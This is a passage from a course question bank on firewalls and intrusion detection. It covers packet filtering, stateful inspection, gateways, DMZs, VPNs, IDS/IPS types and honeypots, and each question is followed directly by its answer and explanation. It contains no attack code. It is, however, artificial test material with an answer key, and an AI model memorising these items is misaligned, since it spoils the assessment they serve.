- B. Circuit-level relay
- C. Logging-based IDS
- D. Tiny-fragment attack

Answer: D. Tiny-fragment attack

Why: Tiny-fragment attacks try to hide relevant header information across fragments.

Source page reference: p. 17

Q059 | Single answer

Which mitigation is suitable for tiny-fragment attacks?

- A. Disable all routing
- B. Convert every packet into UDP
- C. Discard suspicious tiny fragments or reassemble fragments before checking them
- D. Always forward the first fragment immediately

Answer: C. Discard suspicious tiny fragments or reassemble fragments before checking them

Why: Inspection must consider complete header information, either through reassembly or conservative dropping.

Source page reference: p. 17

Q060 | Scenario

A firewall allows a packet that claims to come from an internal trusted address even though it arrived on the external interface. What weakness is being exploited?

- A. VPN encryption failure
- B. Insufficient anti-spoofing validation
- C. Excessive URL filtering
- D. Honeypot misconfiguration

Answer: B. Insufficient anti-spoofing validation

Why: The interface and source-address combination should be checked for consistency.

Source page reference: pp. 11, 17

Q061 | Single answer

What key improvement does a stateful packet filter provide over a traditional stateless packet filter?

- A. It evaluates packets in the context of tracked sessions
- B. It stops using packet headers entirely
- C. It replaces every server with a proxy
- D. It guarantees that all application payloads are safe

Answer: A. It evaluates packets in the context of tracked sessions

Why: Stateful inspection tracks sessions and checks whether packets belong to valid flows.

Source page reference: p. 18

Q062 | Scenario

A firewall rejects an inbound TCP packet because it does not correspond to any connection initiated or accepted according to policy. Which capability is being used?

- A. Static URL filtering
- B. Password hashing
- C. Honeypot deflection
- D. Stateful inspection

Answer: D. Stateful inspection

Why: Stateful filters detect out-of-context packets by consulting session state.

Source page reference: p. 18

Q063 | Single answer

Which data structure is central to stateful inspection?

- A. A disk-image evidence archive
- B. A static web cache only
- C. A table of active connection state
- D. A list of employee names only

Answer: C. A table of active connection state

Why: State tables let the firewall match packets to valid sessions.

Source page reference: pp. 18-19

Q064 | Select all that apply

Which statements accurately describe stateful packet filtering?

- A. It may inspect limited application data
- B. It always performs full application-protocol proxying
- C. It examines packets in connection context
- D. It tracks client-server sessions
- E. It can reject bogus out-of-context packets

Answer: A, C, D, E. It examines packets in connection context; It tracks client-server sessions; It can reject bogus out-of-context packets; It may inspect limited application data

Why: Stateful inspection adds session context but does not necessarily provide full application proxy behavior.

Source page reference: p. 18

Q065 | Comparison

Which statement best compares stateful inspection with an application proxy?

- A. Stateful inspection is generally faster but provides less application-level access control
- B. Stateful inspection always understands more application semantics
- C. Application proxies cannot distinguish users
- D. Application proxies are necessarily stateless

Answer: A. Stateful inspection is generally faster but provides less application-level access control

Why: Stateful inspection provides a performance-control tradeoff relative to deep application proxying.

Source page reference: p. 19

Q066 | Single answer

Why is a stateful firewall better able to detect bogus packets than a basic stateless filter?

- A. It ignores packet direction
- B. It trusts every return packet
- C. It disables transport protocols
- D. It checks whether each packet validly belongs to a tracked session

Answer: D. It checks whether each packet validly belongs to a tracked session

Why: A state table allows context-aware validation.

Source page reference: p. 18

Q067 | True / False

A stateful packet filter can correlate return traffic with an established outbound flow.

- A. Only for application proxies
- B. Only when NAT is enabled
- C. True
- D. False

Answer: C. True

Why: Connection tracking is a defining feature of stateful filtering.

Source page reference: p. 18

Q068 | True / False

A stateful packet filter necessarily performs complete HTTP or FTP application-protocol validation.

- A. Only when NAT is enabled
- B. False
- C. True
- D. Only for application proxies

Answer: B. False

Why: Stateful inspection may inspect limited application data, but full protocol validation belongs to an application proxy.

Source page reference: pp. 18-19, 25-28

Q069 | Assertion-reason

Assertion: Stateful inspection can reduce the risk from unsolicited inbound packets.

Reason: The firewall can reject packets that do not fit a valid tracked session.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Session state helps distinguish legitimate reply traffic from unsolicited packets.

Source page reference: p. 18

Q070 | EXCEPT / NOT

Stateful packet filtering usually provides each of the following EXCEPT:

- A. Session tracking
- B. Detection of packets outside valid flows
- C. Context-aware evaluation of packets
- D. Complete application-specific validation of every request

Answer: D. Complete application-specific validation of every request

Why: Full application-specific validation is the domain of an application-level proxy.

Source page reference: pp. 18-19, 25-28

5. Circuit-level gateways

12 questions. Answers appear immediately below each item.

Q071 | Single answer

What does a circuit-level gateway validate before opening a connection through the firewall?

- A. The integrity of every file on the endpoint
- B. The employee background check
- C. The transport session or circuit
- D. The content of every application command

Answer: C. The transport session or circuit

Why: Circuit-level gateways validate sessions before relaying traffic.

Source page reference: p. 20

Q072 | Single answer

What commonly happens after a circuit-level gateway establishes an allowed session?

- A. It exposes internal IP addresses intentionally
- B. It relays traffic while relying primarily on the validated circuit state
- C. It performs a full forensic analysis of every packet
- D. It disables the connection table

Answer: B. It relays traffic while relying primarily on the validated circuit state

Why: Circuit-level gateways generally relay traffic after the circuit is approved, without deeply examining content.

Source page reference: pp. 20-21

Q073 | Single answer

Which protocol is commonly associated with circuit-level gateway operation?

- A. SOCKS
- B. SMTP only
- C. ARP only
- D. ICMP echo only

Answer: A. SOCKS

Why: SOCKS is commonly used for circuit-level proxying.

Source page reference: p. 21

Q074 | Scenario

An organization wants trusted internal users to establish general outbound sessions through a relay without full application-specific inspection. Which firewall type is a good fit?

- A. Application-level gateway for each individual protocol
- B. Offline forensic tool
- C. Logging-based IDS only
- D. Circuit-level gateway

Answer: D. Circuit-level gateway

Why: Circuit-level gateways are often used to permit general outbound connections for trusted internal users.

Source page reference: p. 21

Q075 | Select all that apply

Which information may be stored when a circuit-level gateway establishes a connection?

- A. Sequencing information
- B. Source and destination IP addresses
- C. Incoming and outgoing interfaces
- D. The full content of every application message forever
- E. A unique session identifier
- F. The connection state

Answer: A, B, C, E, F. A unique session identifier; The connection state; Sequencing information; Source and destination IP addresses; Incoming and outgoing interfaces

Why: Circuit-level gateways maintain session metadata used to validate traffic associated with an established circuit.

Source page reference: p. 23

Q076 | Single answer

When should a circuit-level gateway remove a session-table entry?

- A. Never, because entries are permanent
- B. When the session is terminated
- C. Immediately after the first packet
- D. Only after a full disk backup

Answer: B. When the session is terminated

Why: The table entry is removed when the session closes.

Source page reference: p. 20

Q077 | Select all that apply

Which are advantages of a circuit-level gateway?

- A. More security context than a basic packet filter
- B. Can protect against packet spoofing
- C. Can shield internal addressing through NAT
- D. Full application-command validation for every protocol
- E. Faster than a full application-layer firewall

Answer: A, B, C, E. Faster than a full application-layer firewall; More security context than a basic packet filter; Can protect against packet spoofing; Can shield internal addressing through NAT

Why: Circuit-level gateways validate session state and can shield addressing, but do not deeply inspect every application command.

Source page reference: p. 24

Q078 | Select all that apply

Which are limitations of a circuit-level gateway?

- A. Dependence on session metadata
- B. Automatic inspection of all URL content
- C. Guaranteed malware prevention
- D. Limited ability to perform security checks on higher-level protocols
- E. Less application-specific control than an application proxy

Answer: A, D, E. Limited ability to perform security checks on higher-level protocols; Less application-specific control than an application proxy; Dependence on session metadata

Why: Circuit-level gateways validate circuits but do not provide full application-layer semantic controls.

Source page reference: pp. 21, 24

Q079 | Comparison

How does a circuit-level gateway differ from a static packet filter?

- A. It always provides full HTTP content filtering
- B. It only analyzes offline log files
- C. It validates and tracks transport sessions before relaying traffic
- D. It never uses any session information

Answer: C. It validates and tracks transport sessions before relaying traffic

Why: Circuit-level gateways add session validation and connection tracking.

Source page reference: pp. 20-24

Q080 | Comparison

How does a circuit-level gateway differ from an application-level gateway?

- A. It never records connection state
- B. It typically validates session establishment without fully interpreting application content
- C. It performs deeper application validation than an application gateway
- D. It cannot relay TCP connections

Answer: B. It typically validates session establishment without fully interpreting application content

Why: Circuit-level gateways operate at the circuit/session level; application gateways understand protocol-specific requests.

Source page reference: pp. 20-29

Q081 | Assertion-reason

Assertion: Circuit-level gateways can be faster than application-level gateways.

Reason: They generally avoid full application-content inspection after an allowed circuit is established.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Limited content inspection reduces processing overhead.

Source page reference: pp. 21, 24

Q082 | True / False

A circuit-level gateway can maintain a table of valid connections.

- A. False
- B. Only for application proxies
- C. Only when NAT is enabled
- D. True

Answer: D. True

Why: A circuit-level gateway tracks established sessions so later packets can be relayed appropriately.

Source page reference: p. 20

6. Application gateways, bastion hosts, and endpoint firewalls

18 questions. Answers appear immediately below each item.

Q083 | Single answer

Which firewall type can validate application-layer details such as user passwords and service requests?

- A. Circuit-level gateway only
- B. Passive NIDS
- C. Application-level gateway
- D. Static packet filter

Answer: C. Application-level gateway

Why: Application proxies understand protocol-specific application content.

Source page reference: pp. 25-27

Q084 | Scenario

A company wants to block selected URLs while still allowing ordinary web browsing. Which firewall capability is most directly relevant?

- A. Offline backup verification
- B. Application-level proxy filtering
- C. Static packet filtering by destination IP only
- D. Circuit establishment without content checks

Answer: B. Application-level proxy filtering

Why: Application proxies can perform URL filtering because they understand HTTP requests.

Source page reference: p. 27

Q085 | Scenario

A firewall receives a user's request, verifies that it is legal according to protocol policy, forwards an approved request on the user's behalf, and returns the result. Which architecture is this?

- A. Application-level gateway or proxy
- B. Static packet filter
- C. Honeypot
- D. Personal firewall only

Answer: A. Application-level gateway or proxy

Why: An application proxy intermediates requests and responses.

Source page reference: p. 25

Q086 | Select all that apply

Which capabilities are associated with application-level gateways?

- A. URL filtering
- B. User authentication
- C. HTTP caching
- D. Application-level logging and auditing
- E. Forwarding all packets without examining application semantics
- F. Understanding higher-level protocols such as HTTP and FTP

Answer: A, B, C, D, F. Understanding higher-level protocols such as HTTP and FTP; URL filtering; User authentication; HTTP caching; Application-level logging and auditing

Why: Application-level proxies provide protocol-aware controls and visibility.

Source page reference: pp. 25-27

Q087 | Select all that apply

Which are disadvantages of application-level gateways?

- A. Potential need to modify client procedures
- B. Dependence on operating-system support
- C. Exposure to operating-system bugs
- D. Inability to understand HTTP or FTP
- E. Slower processing than simpler firewalls

Answer: A, B, C, E. Slower processing than simpler firewalls; Potential need to modify client procedures; Dependence on operating-system support; Exposure to operating-system bugs

Why: Deep inspection provides control but introduces overhead and implementation complexity.

Source page reference: p. 28

Q088 | Comparison

Which firewall architecture offers the deepest application-specific visibility?

- A. Boundary router without filtering
- B. Application-level gateway
- C. Static packet filter
- D. Circuit-level gateway

Answer: B. Application-level gateway

Why: Application-level gateways use protocol-aware proxies.

Source page reference: pp. 25-29

Q089 | Assertion-reason

Assertion: Application-level proxies can shield internal systems from direct communication with external servers.

Reason: The proxy terminates one side of the communication and creates a separate connection for the other side.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Proxy mediation separates internal and external endpoints.

Source page reference: pp. 25-29

Q090 | Single answer

What is a bastion host?

- A. A workstation with no security configuration
- B. A DNS cache used only for performance
- C. A honeypot that must contain real confidential data
- D. A hardened system exposed to potentially hostile traffic and configured to enforce security policy

Answer: D. A hardened system exposed to potentially hostile traffic and configured to enforce security policy

Why: A bastion host is deliberately hardened because it is exposed and security-critical.

Source page reference: p. 30

Q091 | Select all that apply

Which hardening measures are appropriate for a bastion host?

- A. Hardened operating system
- B. Only essential services
- C. Additional authentication
- D. Small and carefully secured proxy programs
- E. Unrestricted privileged services for convenience

Answer: A, B, C, D. Hardened operating system; Only essential services; Additional authentication; Small and carefully secured proxy programs

Why: A bastion host reduces attack surface and strengthens authentication.

Source page reference: p. 30

Q092 | Scenario

A public-facing gateway runs only essential services, uses a hardened OS, and requires extra authentication for administration. Which design principle is being applied?

- A. Relying exclusively on endpoint antivirus
- B. Bastion-host hardening
- C. Default allow everywhere
- D. Disabling all logging

Answer: B. Bastion-host hardening

Why: A bastion host should be hardened because it is exposed to hostile traffic.

Source page reference: p. 30

Q093 | Single answer

What is a host-based firewall?

- A. A software control that secures an individual host
- B. A perimeter router that secures every network automatically
- C. A honeypot used to collect attacker actions
- D. A central log database only

Answer: A. A software control that secures an individual host

Why: Host-based firewalls enforce rules on a specific system.

Source page reference: p. 31

Q094 | Select all that apply

Which are benefits of host-based firewalls?

- A. They automatically remove the need for perimeter controls
- B. They can be deployed on servers
- C. Rules can be tailored to the local host environment
- D. Protection can be independent of network topology
- E. They add another layer of protection

Answer: B, C, D, E. Rules can be tailored to the local host environment; Protection can be independent of network topology; They add another layer of protection; They can be deployed on servers

Why: Host-level enforcement complements network firewalls and can be tailored to the protected machine.

Source page reference: p. 31

Q095 | Single answer

What is a personal firewall primarily intended to do?

- A. Provide offline forensic analysis only
- B. Create DNS records for public servers
- C. Control traffic to and from a personal workstation and reduce unauthorized remote access
- D. Replace every enterprise security control

Answer: C. Control traffic to and from a personal workstation and reduce unauthorized remote access

Why: Personal firewalls protect individual PCs and can monitor outgoing activity.

Source page reference: p. 32

Q096 | Select all that apply

Which functions are typical of a personal firewall?

- A. Deny unauthorized remote access to a workstation
- B. Monitor outgoing activity for signs of malware
- C. Control workstation traffic to the Internet or enterprise network
- D. Replace all identity-management systems
- E. Operate as software on a PC or in a small router

Answer: A, B, C, E. Deny unauthorized remote access to a workstation; Monitor outgoing activity for signs of malware; Control workstation traffic to the Internet or enterprise network; Operate as software on a PC or in a small router

Why: Personal firewalls provide relatively focused protection for individual devices.

Source page reference: p. 32

Q097 | Comparison

Which statement best distinguishes a host-based firewall from a perimeter firewall?

- A. A host-based firewall protects a specific machine, while a perimeter firewall controls traffic between networks
- B. A host-based firewall is always hardware, while a perimeter firewall is always software
- C. A perimeter firewall cannot enforce any rules
- D. There is no difference

Answer: A. A host-based firewall protects a specific machine, while a perimeter firewall controls traffic between networks

Why: Host-resident and network-boundary firewalls operate at different enforcement locations.

Source page reference: pp. 3, 31

Q098 | EXCEPT / NOT

Application-level gateways commonly provide each of the following EXCEPT:

- A. Application-specific validation
- B. URL filtering
- C. User authentication
- D. The highest forwarding speed with the fewest evaluations

Answer: D. The highest forwarding speed with the fewest evaluations

Why: Application proxies trade some performance for deeper control.

Source page reference: pp. 27-28

Q099 | True / False

Application-level gateways can log and audit traffic at the application level.

- A. Only for application proxies
- B. Only when NAT is enabled
- C. True
- D. False

Answer: C. True

Why: Because the proxy understands the application protocol, it can produce application-level logs.

Source page reference: p. 25

Q100 | True / False

A bastion host should run as many services as possible to increase convenience.

- A. Only when NAT is enabled
- B. False
- C. True
- D. Only for application proxies

Answer: B. False

Why: A bastion host should minimize enabled services to reduce attack surface.

Source page reference: p. 30

7. DMZ, VPN, and distributed firewall architectures

13 questions. Answers appear immediately below each item.

Q101 | Single answer

What is the main security purpose of a DMZ network?

- A. To isolate public-facing services from the protected internal network
- B. To place all confidential databases directly on the Internet
- C. To disable firewalls between internal segments
- D. To replace authentication systems

Answer: A. To isolate public-facing services from the protected internal network

Why: A DMZ provides a separate zone for services that must be reachable from less-trusted networks.

Source page reference: p. 33

Q102 | Scenario

A company operates public web, email, and DNS servers. Where should these systems generally be placed to reduce exposure of internal application and database servers?

- A. On employee workstations
- B. Directly inside the database subnet with no internal firewall
- C. Outside all monitoring and logging systems
- D. In a DMZ separated from the internal protected network

Answer: D. In a DMZ separated from the internal protected network

Why: Public-facing services belong in a DMZ, separated from sensitive internal systems.

Source page reference: p. 33

Q103 | Scenario

A network uses an external firewall between the Internet and a DMZ and an internal firewall between the DMZ and protected servers. What security principle is illustrated?

- A. Eliminating all network controls
- B. Relying on a single workstation firewall
- C. Layered segmentation
- D. Default allow without boundaries

Answer: C. Layered segmentation

Why: Multiple enforcement boundaries limit the impact of a compromise.

Source page reference: p. 33

Q104 | Single answer

What is the primary purpose of a VPN?

- A. To replace every firewall rule
- B. To protect communication across a public or shared network by creating a secure logical connection
- C. To make all applications anonymous by default
- D. To disable routing between sites

Answer: B. To protect communication across a public or shared network by creating a secure logical connection

Why: VPNs secure communications across otherwise less-trusted networks.

Source page reference: p. 34

Q105 | Single answer

Which security technology is associated with the VPN architecture in this lecture?

- A. IPSec
- B. SOCKS only
- C. FTP caching
- D. ICMP broadcast amplification

Answer: A. IPSec

Why: IPSec can protect IP traffic across public or private networks.

Source page reference: pp. 2, 34

Q106 | Scenario

Two branch networks communicate across the Internet, and each boundary firewall protects the transmitted packets using IPSec. What architecture is being used?

- A. Honeypot deflection
- B. Static ACL without encryption
- C. Personal firewall only
- D. Site-to-site VPN

Answer: D. Site-to-site VPN

Why: A site-to-site VPN protects traffic between network boundaries across an untrusted path.

Source page reference: p. 34

Q107 | Single answer

What is a distributed firewall architecture?

- A. A single unmanaged router at the network edge
- B. An IDS that never acts on analytics
- C. A design that combines boundary controls with host-resident enforcement across systems and zones
- D. A design with no local rules on hosts

Answer: C. A design that combines boundary controls with host-resident enforcement across systems and zones

Why: Distributed firewalls apply controls across the environment rather than only at one perimeter.

Source page reference: p. 35

Q108 | Select all that apply

Which elements may appear in a distributed firewall architecture?

- A. Removal of all local protection
- B. Boundary firewall
- C. Host-resident firewall
- D. DMZ segmentation
- E. Remote-user controls
- F. Internal firewall

Answer: B, C, D, E, F. Boundary firewall; Host-resident firewall; DMZ segmentation; Remote-user controls; Internal firewall

Why: Distributed designs combine multiple firewall locations and segmentation layers.

Source page reference: p. 35

Q109 | Scenario

A laptop is protected by a host-resident firewall even when it leaves the office network. Which benefit does this illustrate?

- A. Protection independent of the current network topology
- B. Guaranteed prevention of all malware
- C. Elimination of the need for updates
- D. Automatic forensic preservation

Answer: A. Protection independent of the current network topology

Why: Host-based protection travels with the machine and does not depend entirely on the office perimeter.

Source page reference: p. 31

Q110 | Comparison

Which architecture is most appropriate for separating public services from sensitive internal servers?

- A. A flat network with one switch and no filtering
- B. A default-allow personal firewall only
- C. A honeypot containing production credentials
- D. DMZ segmentation

Answer: D. DMZ segmentation

Why: A DMZ creates a buffer zone for exposed services.

Source page reference: p. 33

Q111 | Assertion-reason

Assertion: A DMZ reduces the risk that compromise of a public web server immediately exposes internal database servers.

Reason: The public server is placed in a separately controlled network zone with additional filtering boundaries.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Segmentation limits direct access from public-facing systems to protected internal resources.

Source page reference: p. 33

Q112 | True / False

A VPN can use IPSec to protect traffic crossing a public network.

- A. Only when NAT is enabled
- B. True
- C. False
- D. Only for application proxies

Answer: B. True

Why: IPSec can secure IP packets over an untrusted path.

Source page reference: p. 34

Q113 | True / False

A distributed firewall architecture relies exclusively on a single perimeter firewall.

- A. False
- B. True
- C. Only for application proxies
- D. Only when NAT is enabled

Answer: A. False

Why: Distributed architectures add controls at multiple points, including host-resident firewalls.

Source page reference: p. 35

8. IDS fundamentals and taxonomy

13 questions. Answers appear immediately below each item.

Q114 | Single answer

What is the primary purpose of an intrusion detection system (IDS)?

- A. To replace all backups
- B. To encrypt every network packet automatically
- C. To configure DNS records only
- D. To monitor activity and identify events that may indicate malicious behavior

Answer: D. To monitor activity and identify events that may indicate malicious behavior

Why: An IDS collects and analyzes security-relevant signals to identify threats.

Source page reference: p. 38

Q115 | Select all that apply

Which are typical IDS activities?

- A. Monitor network or system activity
- B. Use multiple information sources
- C. Search for attack patterns
- D. Detect abnormal behavior
- E. Compile security-relevant events
- F. Guarantee that every alert is a confirmed attack

Answer: A, B, C, D, E. Monitor network or system activity; Use multiple information sources; Search for attack patterns; Detect abnormal behavior; Compile security-relevant events

Why: IDS analysis generates useful security signals, but alerts still require interpretation.

Source page reference: p. 38

Q116 | Single answer

Which IDS type analyzes information from an individual endpoint or server?

- A. VPN concentrator
- B. Host-based IDS (HIDS)
- C. Network-based IDS (NIDS)
- D. Circuit-level gateway

Answer: B. Host-based IDS (HIDS)

Why: A HIDS analyzes host-level information.

Source page reference: p. 39

Q117 | Single answer

Which IDS type captures and analyzes network traffic?

- A. Network-based IDS (NIDS)
- B. Host-based IDS (HIDS)
- C. Logging-based IDS (LIDS)
- D. Personal firewall only

Answer: A. Network-based IDS (NIDS)

Why: A NIDS monitors network traffic.

Source page reference: p. 39

Q118 | Single answer

Which IDS type analyzes collected logs?

- A. Network-based IDS only
- B. Circuit-level firewall
- C. Static NAT translator
- D. Logging-based IDS (LIDS)

Answer: D. Logging-based IDS (LIDS)

Why: A LIDS uses collected log information.

Source page reference: p. 39

Q119 | Scenario

A monitoring agent watches operating-system events and file changes on a database server. Which IDS category best fits?

- A. Application-level proxy
- B. Packet-filtering router
- C. Host-based IDS (HIDS)
- D. Network-based IDS (NIDS)

Answer: C. Host-based IDS (HIDS)

Why: Host-level telemetry is the focus of HIDS.

Source page reference: p. 39

Q120 | Scenario

A sensor connected to a network tap inspects packets crossing a subnet. Which IDS category best fits?

- A. Bastion host
- B. Network-based IDS (NIDS)
- C. Host-based IDS (HIDS)
- D. Personal firewall

Answer: B. Network-based IDS (NIDS)

Why: A NIDS captures and analyzes network traffic.

Source page reference: p. 39

Q121 | Scenario

A central system correlates authentication logs, service logs, and firewall logs. Which IDS category best fits?

- A. Logging-based IDS (LIDS)
- B. Static packet filter
- C. Circuit-level proxy
- D. VPN endpoint

Answer: A. Logging-based IDS (LIDS)

Why: A LIDS analyzes collected logging information.

Source page reference: p. 39

Q122 | Single answer

Why can IDS categories overlap?

- A. Every IDS must use only one sensor
- B. HIDS and NIDS are identical terms
- C. An IDS cannot use logs and packets together
- D. A real system may analyze multiple data sources and combine several detection approaches

Answer: D. A real system may analyze multiple data sources and combine several detection approaches

Why: Practical monitoring systems often fuse signals across categories.

Source page reference: p. 39

Q123 | Select all that apply

Which data sources can support intrusion detection?

- A. Network packet capture
- B. Host state and statistics
- C. Authentication events
- D. Only public DNS records
- E. Service logs
- F. Firewall logs

Answer: A, B, C, E, F. Service logs; Firewall logs; Network packet capture; Host state and statistics; Authentication events

Why: IDS can fuse logs, network capture, and host-state information.

Source page reference: pp. 38, 47

Q124 | Assertion-reason

Assertion: An IDS should not be treated as a single perfect source of truth.

Reason: IDS alerts are derived from signals that may be incomplete, ambiguous, or overlapping.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Detection systems provide evidence that must be interpreted in context.

Source page reference: pp. 38-40, 47

Q125 | True / False

A NIDS normally focuses on capturing and analyzing network traffic.

- A. True
- B. False
- C. Only for application proxies
- D. Only when NAT is enabled

Answer: A. True

Why: Network-based IDS sensors observe traffic flows and packets.

Source page reference: p. 39

Q126 | True / False

A HIDS must ignore host-level information and analyze only packets on a network tap.

- A. True
- B. Only for application proxies
- C. Only when NAT is enabled
- D. False

Answer: D. False

Why: A HIDS focuses on host-level telemetry.

Source page reference: p. 39

9. Misuse detection, anomaly detection, and IPS reactions

16 questions. Answers appear immediately below each item.

Q127 | Single answer

Which detection method searches for known attack signatures?

- A. Intrusion deterrence
- B. NAT translation
- C. Misuse detection
- D. Anomaly detection only

Answer: C. Misuse detection

Why: Misuse detection matches activity against known malicious patterns.

Source page reference: p. 40

Q128 | Single answer

What is a major limitation of misuse detection?

- A. It requires no signatures
- B. It may miss previously unknown attacks
- C. It always blocks legitimate users
- D. It cannot detect any known exploit

Answer: B. It may miss previously unknown attacks

Why: Signature-based methods are strongest for attacks represented in their rule base.

Source page reference: p. 40

Q129 | Single answer

Which detection method learns normal behavior and reports deviations?

- A. Anomaly detection
- B. Static ACL filtering
- C. Circuit proxying
- D. IPSec tunneling

Answer: A. Anomaly detection

Why: Anomaly detection identifies deviations from expected behavior.

Source page reference: p. 40

Q130 | Single answer

What is a major limitation of anomaly detection?

- A. It cannot detect deviations from normal behavior
- B. It requires a known signature for every event
- C. It cannot use statistical models
- D. It may generate false positives when unusual but legitimate activity occurs

Answer: D. It may generate false positives when unusual but legitimate activity occurs

Why: Legitimate variation can look anomalous.

Source page reference: p. 40

Q131 | Scenario

An IDS detects a malicious payload because its byte pattern matches a known exploit signature. Which approach is used?

- A. Intrusion deterrence
- B. VPN encapsulation
- C. Misuse detection
- D. Anomaly detection

Answer: C. Misuse detection

Why: Known attack signatures are the basis of misuse detection.

Source page reference: p. 40

Q132 | Scenario

A user normally logs in from one office during business hours. A new model flags a midnight login from an unfamiliar country even though there is no known signature. Which approach is used?

- A. NAT
- B. Anomaly detection
- C. Static packet filtering only
- D. Circuit-level proxying

Answer: B. Anomaly detection

Why: The model identifies a deviation from the normal baseline.

Source page reference: p. 40

Q133 | Comparison

Which tradeoff best distinguishes misuse detection from anomaly detection?

- A. Misuse detection is strong for known signatures; anomaly detection can reveal deviations but may produce more false positives
- B. Misuse detection requires no prior knowledge; anomaly detection always has zero false positives
- C. Both methods are exactly identical
- D. Anomaly detection can only inspect firewall configuration files

Answer: A. Misuse detection is strong for known signatures; anomaly detection can reveal deviations but may produce more false positives

Why: The approaches have complementary strengths and weaknesses.

Source page reference: p. 40

Q134 | Single answer

What does a passive IDS normally do after identifying relevant events?

- A. Automatically rebuild every compromised host
- B. Always block the user immediately
- C. Delete all logs after generating an alert
- D. Extract and report distilled information for analysis

Answer: D. Extract and report distilled information for analysis

Why: Passive systems filter information and surface relevant events.

Source page reference: p. 41

Q135 | Single answer

What distinguishes an intrusion prevention system (IPS) from a purely passive IDS?

- A. An IPS only stores backups
- B. An IPS cannot change firewall rules
- C. An IPS can take action in response to detected activity
- D. An IPS cannot analyze traffic

Answer: C. An IPS can take action in response to detected activity

Why: Reactive systems can alter controls or connectivity.

Source page reference: p. 41

Q136 | Select all that apply

Which reactions may be performed by an IPS?

- A. Change firewall rules
- B. Block users
- C. Change network connectivity
- D. Generate an alert
- E. Guarantee that the initial classification is always correct

Answer: A, B, C, D. Change firewall rules; Block users; Change network connectivity; Generate an alert

Why: An IPS can take protective action, but automated response still carries error risk.

Source page reference: p. 41

Q137 | Scenario

A monitoring system detects suspicious traffic and automatically adds a blocking rule to the firewall. How should the system be classified?

- A. Reactive IDS / IPS
- B. Passive IDS only
- C. Static packet filter with no analytics
- D. Offline forensic archive

Answer: A. Reactive IDS / IPS

Why: Automated action in response to detection is characteristic of IPS behavior.

Source page reference: p. 41

Q138 | Assertion-reason

Assertion: An IPS can reduce the time between detection and containment.

Reason: An IPS can automatically change firewall rules or connectivity when suspicious activity is detected.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Automated enforcement can accelerate containment.

Source page reference: p. 41

Q139 | Assertion-reason

Assertion: Automated blocking must be configured carefully.

Reason: False positives can cause legitimate users to be denied service.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Reactive systems trade faster containment for the risk of inappropriate blocking.

Source page reference: pp. 40-43

Q140 | EXCEPT / NOT

An IPS may perform each of the following EXCEPT:

- A. Modify network connectivity
- B. Prove with certainty that every anomaly is malicious
- C. Block a user
- D. Change a firewall rule

Answer: B. Prove with certainty that every anomaly is malicious

Why: Detection and response systems can make mistakes; certainty is not guaranteed.

Source page reference: pp. 40-41

Q141 | True / False

Anomaly detection can be useful for previously unseen attacks because it focuses on deviations from normal behavior.

- A. True
- B. False
- C. Only for application proxies
- D. Only when NAT is enabled

Answer: A. True

Why: An anomaly model does not require a signature for every attack pattern.

Source page reference: p. 40

Q142 | True / False

Misuse detection is immune to unknown attacks.

- A. True
- B. Only for application proxies
- C. Only when NAT is enabled
- D. False

Answer: D. False

Why: Signature-based misuse detection can miss attacks that are not represented by known signatures.

Source page reference: p. 40

10. IDS strategies, honeypots, and monitoring design

15 questions. Answers appear immediately below each item.

Q143 | Single answer

What is preemptive blocking?

- A. Placing all public services in a DMZ
- B. Allowing all traffic until forensics is complete
- C. Blocking a user or IP when signs suggest an impending intrusion
- D. Restoring backups after a confirmed incident

Answer: C. Blocking a user or IP when signs suggest an impending intrusion

Why: Preemptive blocking seeks to prevent an intrusion before it occurs.

Source page reference: p. 43

Q144 | Single answer

What is another name for the preemptive-blocking approach described in the lecture?

- A. Evidence hashing
- B. Banishment vigilance
- C. Application caching
- D. Circuit tunneling

Answer: B. Banishment vigilance

Why: The approach is referred to as banishment vigilance.

Source page reference: p. 43

Q145 | Scenario

A system blocks an IP after several suspicious actions occur before any confirmed compromise. What is the main risk?

- A. A legitimate user may be blocked, creating a denial-of-service effect
- B. The firewall will automatically expose internal IP addresses
- C. All logs will be deleted
- D. The VPN will stop encrypting packets

Answer: A. A legitimate user may be blocked, creating a denial-of-service effect

Why: Preemptive blocks can affect legitimate users when signals are misleading.

Source page reference: p. 43

Q146 | Single answer

What is a honeypot?

- A. A backup server that must never be monitored
- B. A static ACL rule for DNS
- C. A circuit-level gateway for trusted outbound traffic
- D. A deliberately attractive decoy system with realistic-looking but fake data or services

Answer: D. A deliberately attractive decoy system with realistic-looking but fake data or services

Why: A honeypot lures attackers into a monitored decoy environment.

Source page reference: p. 44

Q147 | Select all that apply

Which are purposes of a honeypot?

- A. Monitor attacker activity
- B. Learn about new attack techniques
- C. Collect forensic information
- D. Store irreplaceable production secrets
- E. Lure attackers away from real assets

Answer: A, B, C, E. Lure attackers away from real assets; Monitor attacker activity; Learn about new attack techniques; Collect forensic information

Why: Honeypots support intrusion deflection, observation, and forensics without exposing real secrets.

Source page reference: p. 44

Q148 | Scenario

A decoy server contains believable but fake customer records and is heavily monitored to study attacker behavior. Which IDS strategy is being used?

- A. Personal firewalling only
